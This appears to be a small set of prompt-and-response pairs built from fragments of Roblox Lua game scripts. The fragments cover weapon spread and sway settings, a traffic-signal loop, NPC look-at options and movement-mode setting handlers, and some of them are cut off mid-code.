	,MaxSpread = 35					--- Max bullet spread value | Studs
	,AimInaccuracyStepAmount = 0.5
	,WalkMultiplier = 0				--- Bullet spread based on player speed

	,SwayBase = 0.05				--- Weapon Base Sway | Studs
	,MaxSway =	1.5					--- Max sway value based on player stamina | Studs


Prompt: --Standard 3-colour signals recommended--

Response:
while true do
	PedValues = script.Parent.Parent.PedValues
	SignalValues = script.Parent.Parent.SignalValues
	TurnValues = script.Parent.Parent.TurnValues


Prompt: -- [ BASIC ] --

Response:
local LookAtPlayerRange = 30 -- Distance away that NPC can looks
local LookAtNonPlayer = false -- Looks at other humanoid that isn't player


Prompt: --[[ Settings Changed Connections ]]

Response:
--
LocalPlayer.Changed:connect(function(property)
	if lastInputType == Enum.UserInputType.Touch and property == 'DevTouchMovementMode' then
		ControlState:SwitchTo(ControlModules.Touch)
	elseif UserInputService.KeyboardEnabled and property == 'DevComputerMovementMode' then
		ControlState:SwitchTo(ControlModules.Keyboard)
	end
end)

GameSettings.Changed:connect(function(property)
	if not IsUserChoice then return end
	if property == 'TouchMovementMode' or property == 'ComputerMovementMode' then
		UserMovementMode = GameSettings[property]
		if property == 'TouchMovementMode' then
			ControlState:SwitchTo(ControlModules.Touch)
		elseif property == 'ComputerMovementMode' then
			ControlState:SwitchTo(ControlModules.Keyboard)
		end
	end
end)